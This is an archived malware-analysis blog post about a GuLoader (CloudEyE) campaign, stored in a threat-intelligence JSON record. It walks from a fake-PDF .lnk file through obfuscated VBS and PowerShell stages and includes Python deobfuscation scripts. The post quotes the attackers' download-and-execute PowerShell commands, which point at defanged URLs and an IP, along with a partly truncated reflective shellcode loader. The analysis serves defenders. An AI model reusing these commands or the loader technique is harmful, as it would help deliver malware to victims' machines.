{
	"id": "833c9f89-2d13-4151-aa2a-d0659790dcc6",
	"created_at": "2026-04-06T00:18:41.161162Z",
	"updated_at": "2026-04-10T13:12:16.268368Z",
	"deleted_at": null,
	"sha1_hash": "68874734dab2879e315c4966a5b624b698de6023",
	"title": "CloudEyE — From .lnk to Shellcode",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2860228,
	"plain_text": "CloudEyE — From .lnk to Shellcode\r\nBy Gi7w0rm\r\nPublished: 2023-07-09 · Archived: 2026-04-05 14:01:13 UTC\r\nHello and welcome back to another blog post. Today, we will look at the infection chain of a well-known malware\r\nloader called CloudEye (GuLoader). In recent years, this shellcode-based downloader has become a challenging\r\npiece of code to analyze. In fact, during conversations I had with several acknowledged reverse engineers, many\r\nof them pointed out that GuLoader is under active development to this day and that every time someone releases\r\nan analysis, its developers are fast to react and change the shellcode to a degree where all freshly developed tools\r\nfor analyzing it are useless again. This sophistication is also why this post is not going to touch the ShellCode\r\nitself. It is rather going to give an overview of a current CloudEyE campaign, starting with a malicious link file\r\nthat came via a download link from a phishing mail and ending with the retrieval of the GuLoader shellcode.\r\nI highlighted the discussed part in this execution flow chart below:\r\nPress enter or click to view image in full size\r\nhttps://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877\r\nPage 1 of 17\n\nhttps://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877\r\nPage 2 of 17\n\nFigure 1: Attack Flow of this GuLoader campaign\r\nFor more information on this campaign, please refer to Section: Additional Findings (part 2).\r\nStage 1: A “fake” pdf\r\nFor me, this investigation started as I was sifting through the results of a known online sandbox service called\r\nTriage. I sometimes do so to find uncommon malware that is currently not on my scope, trying to keep up with\r\nongoing threat development together with the curiosity of discovering something unique. And while GuLoader is\r\nnot a new threat, the sandbox results for one of its campaigns somehow stuck with me. So I decided to give it\r\nanother look.\r\nThe file we see uploaded to Triage is named “RFQ No 41 26_06_2023.pdf.lnk” and has the SHA-256 Hash:\r\n“748c0ef7a63980d4e8064b14fb95ba51947bfc7d9ccf39c6ef614026a89c39e5”.\r\nThe double-file ending should immediately set off your alarm bells. In Windows 10 and above, file endings are\r\nnot rendered in File Explorer by default. Therefore, a double file ending means the original file-type ending is\r\nhidden, while the second last one (in this case .pdf) is shown. This is done to lure victims into thinking they are\r\nopening a file of the .pdf type, while they do something pretty different in opening a Windows Shortcut file. This\r\nShortcut file in turn is then used to execute the attack. Let’s have a look at it:\r\nPress enter or click to view image in full size\r\nhttps://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877\r\nPage 3 of 17\n\nFigure 2: Shortcut properties view\r\nAs you can see, upon opening the link-files properties, we are greeted with a seemingly empty “Target” field.\r\nNormally, we would expect some sort of command here, used to infect the system. But even if we copy the full\r\nstring from the target field, we only get:\r\n\\\\localhost\\c$\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\r\nwith many space chars appended to hide the command as seen in Figure 2.\r\nStill, even the fact that the link file seems to open “powershell.exe” as a target is not dangerous in itself. Where is\r\nour attack?\r\nWell, things start to change if we look at the .lnk file using a Hex-Editor:\r\nPress enter or click to view image in full size\r\nhttps://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877\r\nPage 4 of 17\n\nFigure 3: .lnk file in Hex-Editor\r\nAs you can see, there is a lot more going on here than was visible at first sight. The full command executed by the\r\n.lnk file is actually not only “powershell.exe”, but:\r\n\\\\localhost\\c$\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe Invoke-WebRequest hxxps://short\r\nLet us split this command up into 2 parts and discuss them individually:\r\nInvoke-WebRequest hxxps://shorturl[.]at/iwAK9 -O C:\\Users\\Public\\RFQ-INFO.pdf; C:\\Users\\Public\\RFQ-IN\r\nThe first PowerShell command executed downloads a file via the shortened URL: hxxps://shorturl[.]at/iwAK9.\r\nThis actually does a redirect to: hxxps://img.softmedal[.]com/uploads/2023-06-23/773918053744.jpg\r\nPretending to be a .jpg image file, it is actually a legitimate .pdf file used as a decoy. The file is downloaded to the\r\nfolder “C:\\Users\\Public\\RFQ-INFO.pdf” and consequently opened via a direct Powershell call.\r\nhttps://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877\r\nPage 5 of 17\n\nFrom the users' point of view, it will appear everything is normal. They will look at the following file once\r\nexecuting the .lnk.pdf:\r\nPress enter or click to view image in full size\r\nFigure 4: Decoy document\r\nhttps://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877\r\nPage 6 of 17\n\nInterestingly enough, when googling for this company, it seems their website is currently compromised and\r\nabused for advertisement redirection. Directly opening the page via the URL seems to work fine though. Still, this\r\nbehavior could hint at a potential compromise of the company's website.\r\nGet Gi7w0rm’s stories in your inbox\r\nJoin Medium for free to get updates from this writer.\r\nRemember me for faster sign in\r\nHowever, it’s the second part of the PowerShell command that is more interesting:\r\nInvoke-WebRequest hxxps://shorturl[.]at/guDHW -O C:\\Windows\\Tasks\\Reilon.vbs; C:\\Windows\\Tasks\\Reilon\r\nUpon execution, this command reaches out to hxxps://shorturl[.]at/guDHW which in turn redirects to\r\nhxxps://img.softmedal[.]com/uploads/2023-06-23/298186187297.jpg. Again, the “.jpg” ending is only used to\r\nhide the real file type of this script, potentially slipping through some detection measures. The file is saved as\r\n“C:\\Windows\\Tasks\\Reilon.vbs”, revealing its real file type as a Virtual Basic script, and then executed as well.\r\nStage 2: Reilon.vbs — Virtual Basic Downloader\r\nAfter manually downloading the Reilon.vbs file, below is a cropped overview of what we get:\r\nPress enter or click to view image in full size\r\nFigure 5: Reilon.vbs\r\nhttps://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877\r\nPage 7 of 17\n\nThe functionality of this script is pretty straightforward: After defining the Ttheds array, it makes use of an empty\r\nloop to postpone execution by 10 seconds. Consequently, a large string is created by joining several sub-strings\r\ntogether. Following that, the initial Ttheds array and a loop are used to create the word “powershell” which is then\r\nstored in a variable. In the end, the Shell.Application.ShellExecute command is used to execute the joined string\r\nas a PowerShell command. The joined string that gets obfuscated can be seen in Figure 6.\r\nPress enter or click to view image in full size\r\nFigure 6: Gr2 joined string\r\nAs can be seen at first glance, the command is obfuscated yet again. When adding in some new lines, we can see\r\nthat there is a function called Milj379, which is called on every line, with an obfuscated string as an argument. We\r\ncan therefore safely assume that the function is used to deobfuscate the remaining commands.\r\nPress enter or click to view image in full size\r\nFigure 7: Cleaner View\r\nTo make things easier I created a simple Python deobfuscator using this function. It makes use of RegEx to\r\nidentify each occurrence of the Milj379 function call, then takes the string that needs to be deobfuscated and at the\r\nend, it replaces the string with its deobfuscated counterpart.\r\nimport re\r\ndef Milj379(Endoph):\r\n Fald = \"\"\r\n for Episper in range(1, len(Endoph) - 1, 2):\r\n Ddvgt = Endoph[Episper]\r\n Fald += Ddvgt\r\n return Fald\r\nhttps://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877\r\nPage 8 of 17\n\ncode = \"\"\"\r\ncode here\r\n\"\"\"\r\ndeobfuscation_func_name = \"Milj379\"\r\npattern = rf\"{deobfuscation_func_name}\\s*'(.*?)'\"\r\nmatches = re.findall(pattern, code)\r\nfor match in matches:\r\n deobfuscated = globals()[deobfuscation_func_name](match)\r\n code = code.replace(f\"{deobfuscation_func_name} '{match}'\", deobfuscated)\r\nprint(code)\r\nRunning this script results in the extracted PowerShell command seen below:\r\n$Gydep = hxxp://194.55.224[.]183/kng/Persuasive.inf;\r\n$Stryger = \\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe;\r\n.(iex) ($Advertize2=$env:windir) ;\r\n.(iex) ($Stryger=$Advertize2+$Stryger) ;\r\n.(iex) ($Exploit = ((gwmi win32_process -F ProcessId=${PID}).CommandLine) -split [char]34);\r\n.(iex) ($Unlacer = $Exploit[$Exploit.count-2]);\r\n.(iex) ($Modtagn=(Test-Path $Stryger) -And ([IntPtr]::size -eq 8)) ;\r\nif ($Modtagn) {.$Stryger $Unlacer;\r\n} else {;\r\n$Fald00=Start-BitsTransfer -Source $Gydep -Destination $Advertize2;\r\n.(iex) ($Advertize2=$env:appdata) ;\r\n.(iex) (Import-Module BitsTransfer) ;\r\n$Advertize2=$Advertize2+'\\opbrugende.Dal';\r\nhttps://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877\r\nPage 9 of 17\n\nwhile (-not $Joyf) {.(iex) ($Joyf=(Test-Path $Advertize2)) ;\r\n.(iex) $Fald00;\r\n.(iex) (Start-Sleep 5);\r\n}\r\n.(iex) ($Milj37 = Get-Content $Advertize2);\r\n.(iex) ($Hamart = [System.Convert]::FromBase64String($Milj37));\r\n.(iex) ($Fald2 = [System.Text.Encoding]::ASCII.GetString($Hamart));\r\n.(iex) ($Rawnessa=$Fald2.substring(193539,19271));\r\n.(iex) $Rawnessa;\r\n}\r\nThe deobfuscated script gives away its functionality. First of all, it makes sure that the current script is executed\r\nusing PowerShell 32bit. If not the case, an if condition is used to execute the script another time using the correct\r\narchitecture. This is likely done to make sure the shellcode downloaded in a later stage is executed under the\r\ncorrect architecture. The script then continues to download a file from the URL:\r\nhxxp://194.55.224[.]183/kng/Persuasive.inf . The content of this file is then stored to\r\n“$env:appdata\\Roaming\\opbrugenda.Dal”. To get to the next stage, the content of the downloaded file is base64\r\ndecoded and interpreted as an ASCII string. Afterward, a certain set of Bytes is extracted from the string and\r\nexecuted via PowerShell. This set of Bytes will be analyzed in the next section.\r\nStage 3: Reflective GuLoader shellcode loader\r\nAs with the last section, this code is again obfuscated using its own function. Additionally, to further obfuscate the\r\ncode, a bunch of comments containing random words were added.\r\nPress enter or click to view image in full size\r\nhttps://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877\r\nPage 10 of 17\n\nFigure 8: Obfuscated Stage 3\r\nSo before doing anything else, we can delete all lines starting with “#”. After doing so, we are faced with an\r\nobfuscated PowerShell script yet again. This time our deobfuscation function is called “Claro02”.\r\nPress enter or click to view image in full size\r\nFigure 9: Claro02 Deobfuscation function\r\nIn this case, deobfuscation of the strings is done by taking an obfuscated hexadecimal string, XORing it with 255\r\n(0xFF), and converting the output to ASCII. Again, here is a script that does just this for all strings and does the\r\nreplacement as well:\r\nhttps://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877\r\nPage 11 of 17\n\nimport re\r\ndef Claro02(Echino):\r\n xor_value = 255\r\n Ahantchu = bytearray(len(Echino) // 2)\r\n for loudensres in range(0, len(Echino), 2):\r\n Hilse = Echino[loudensres:loudensres+2]\r\n Ahantchu[loudensres//2] = int(Hilse, 16) ^ xor_value\r\n return Ahantchu.decode('ascii')\r\ncode = \"\"\"\r\ncode here\r\n\"\"\"\r\ndeobfuscation_func_name = \"Claro02\"\r\npattern = rf\"{deobfuscation_func_name}\\s*'([^']*)'\"\r\nmatches = re.findall(pattern, code)\r\nfor match in matches:\r\n deobfuscated = Claro02(match)\r\n code = code.replace(f\"{deobfuscation_func_name} '{match}'\", f\"'{deobfuscated}'\")\r\nprint(code)\r\nAfter deobfuscating the script we get the following output:\r\nfunction Claro05 ($Acce, $Gratierne) {\r\n \r\n $Inspi930 = '$tutorenbu = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalA\r\n .('IEX') $Inspi930\r\n \r\n $Inspi935 = '$Falangistu = $tutorenbu.GetMethod(\"GetProcAddress\", [Type[]] @([System.Runtime.Inte\r\n .('IEX') $Inspi935\r\n \r\n $Inspi931 = 'return $Falangistu.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Ob\r\nhttps://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877\r\nPage 12 of 17\n\n.('IEX') $Inspi931\r\n}\r\nfunction Claro04 {\r\n Param (\r\n [Parameter(Position = 0)]\r\n [Type[]] $Embraceko,\r\n [Parameter(Position = 1)]\r\n [Type] $Brands = [Void]\r\n )\r\n $Inspi932 = '$Typeout = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Refle\r\n .('IEX') $Inspi932\r\n $Inspi933 = '$Typeout.DefineConstructor(\"RTSpecialName, HideBySig, Public\", [System.Reflection.Ca\r\n .('IEX') $Inspi933\r\n $Inspi934 = '$Typeout.DefineMethod(\"Invoke\", \"Public, HideBySig, NewSlot, Virtual\", $Brands, $Emb\r\n .('IEX') $Inspi934\r\n $Inspi935 = 'return $Typeout.CreateType()'\r\n .('IEX') $Inspi935\r\n}\r\n$Claro01 = '$Efte = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Claro05\r\n.('IEX') $Claro01\r\n$Claro02 = '$Fingalb198 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Cl\r\n.('IEX') $Claro02\r\n$Inspi937 = '$Shivunp = $Fingalb198.Invoke(0)'\r\n.('IEX') $Inspi937\r\n$Inspi937 = '$Efte.Invoke($Shivunp, 0)'\r\n.('IEX') $Inspi937\r\n$Inspi936 = '$Klausulsai = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((C\r\n.('IEX') $Inspi936\r\n$Tonnesverb = Claro05 'ntdll' 'NtProtectVirtualMemory'\r\n$Inspi937 = '$Industri3 = $Klausulsai.Invoke([IntPtr]::Zero, 645, 0x3000, 0x40)'\r\n.('IEX') $Inspi937\r\nhttps://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877\r\nPage 13 of 17\n\n$Inspi938 = '$veristfil = $Klausulsai.Invoke([IntPtr]::Zero, 43073536, 0x3000, 0x4)'\r\n.('IEX') $Inspi938\r\n$jurym0 = '[System.Runtime.InteropServices.Marshal]::Copy($Hamart, 0, $Industri3, 645)'\r\n.('IEX') $jurym0\r\n$Inspi939 = '$Unsyll=193539-645'\r\n.('IEX') $Inspi939\r\n$jurym1 = '[System.Runtime.InteropServices.Marshal]::Copy($Hamart, 645, $veristfil, $Unsyll)'\r\n.('IEX') $jurym1\r\n$jurym2 = '$Socialcent = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Cla\r\n.('IEX') $jurym2\r\n$jurym3 = '$Socialcent.Invoke($Industri3,$veristfil,$Tonnesverb,0,0)'\r\n.('IEX') $jurym3\r\nI tried to comment on all important parts of the code in order to make it better understandable. A shoutout goes to\r\nDrakonia for double-checking. In its essence, it's a reflective shellcode loader to load the GuLoader shellcode. As\r\nalready documented in other research, the shellcode is split into two parts. A decryptor that gets saved to the\r\nvariable $Industri3 and the encrypted GuLoader shellcode, which gets stored into the variable $veristfil. Of note is\r\nthat the shellcodes are both stored in the same file as the shellcode loader, which was initially downloaded in\r\nStage 2. At execution, the script actually makes use of the variable $Hamart from the previous stage, which is the\r\nbase64 decoded file content of the file stored as “opbrugenda.Dal”. To extract the shellcodes from this file, I wrote\r\nanother Python script:\r\nimport base64\r\nfilename = \"Path to Persuasive.inf/opbrugenda.Dal\"\r\nwith open(filename, 'r') as file:\r\n content = file.read()\r\nMilj37 = content.strip()\r\nHamart = base64.b64decode(Milj37)\r\nIndustri3 = Hamart[:645]\r\nveristfil = Hamart[645:193539]\r\nhttps://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877\r\nPage 14 of 17\n\nwith open(\"Industri3.bin\", \"wb\") as file1:\r\n file1.write(Industri3)\r\nwith open(\"veristfil.bin\", \"wb\") as file2:\r\n file2.write(veristfil)\r\nFald2 = Hamart.decode('latin-1')\r\nRawnessa = Fald2[193539:193539+19271]\r\nprint(Rawnessa)\r\nwith open(\"Rawnessa.bin\", \"wb\") as file3:\r\n file3.write(Rawnessa.encode('latin-1'))\r\nNote that this code also stores the stage 3 PowerShell code to “Rawnessa.bin”.\r\nAt this point, we now have successfully received and extracted the GuLoader Shellcode. As noted previously, the\r\nextracted shellcode stored in Industri3.bin is the decryptor, which would be executed with the shellcode stored as\r\n“veristfil.bin” as a parameter. The “Industri3.bin” would then decrypt the shellcode in“veristfil.bin” and execute\r\nits entry point.\r\nAn excellent analysis of this shellcode and its behavior can be found here\r\nhttps://research.openanalysis.net/guloader/unicorn/emulation/anti-debug/debugging/config/2022/12/16/guloader.html#Guloader-Shellcode-Stage-1\r\nAs previously noted, I won’t go further into it.\r\nAdditional findings (part 1)\r\nAfter doing this analysis, I uploaded both shell codes to VirusTotal. They both had a 0/59 detection rate. This\r\nsparked a discussion on the detection of in-memory shellcode in the OAnalysis Discord server. It was pointed out\r\nthat many antivirus software programs wouldn’t analyze shellcode when uploaded to VT as it would not be\r\nrecognized as working code. I decided to append two screenshots of this conversation with permission of all\r\ninvolved entities below. I think they contain valuable insights and are worth a read:\r\nPress enter or click to view image in full size\r\nhttps://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877\r\nPage 15 of 17\n\nPress enter or click to view image in full size\r\nTl;dr:\r\n1. You can not expect random shell codes without context to be detected by VT.\r\n2. Performance plays a big role in AntiVirus creation, therefor running signatures on unknown file types that\r\nare not able to execute on their own is reduced.\r\n3. Scans can be file-type based to increase performance, which means only certain areas of a binary are\r\nscanned at all.\r\n4. Uploading a shellcode as part of a PE might trigger detections that are not triggered when solely uploading the\r\nshellcode.\r\nI think those are important things to note when interpreting VirusTotal detection results.\r\nhttps://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877\r\nPage 16 of 17\n\nMake sure to check out the involved people here: struppigel, herrcore, Lasq.\r\nAdditional Findings (part 2)\r\nWhen writing this blogpost I actually discovered that this sample was initially discussed by Brad Duncan in a\r\nSANS diary. From his analysis, I was also able to recover the full infection chain as presented in Figure 1, and\r\nidentify the final payload of this infection which was Remcos Rat.\r\nMake sure to check out his work here: https://isc.sans.edu/diary/29990\r\nSource: https://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877\r\nhttps://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877\r\nPage 17 of 17",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877"
	],
	"report_names": [
		"cloudeye-from-lnk-to-shellcode-4b5f1d6d877"
	],
	"threat_actors": [],
	"ts_created_at": 1775434721,
	"ts_updated_at": 1775826736,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/68874734dab2879e315c4966a5b624b698de6023.pdf",
		"text": "https://archive.orkl.eu/68874734dab2879e315c4966a5b624b698de6023.txt",
		"img": "https://archive.orkl.eu/68874734dab2879e315c4966a5b624b698de6023.jpg"
	}
}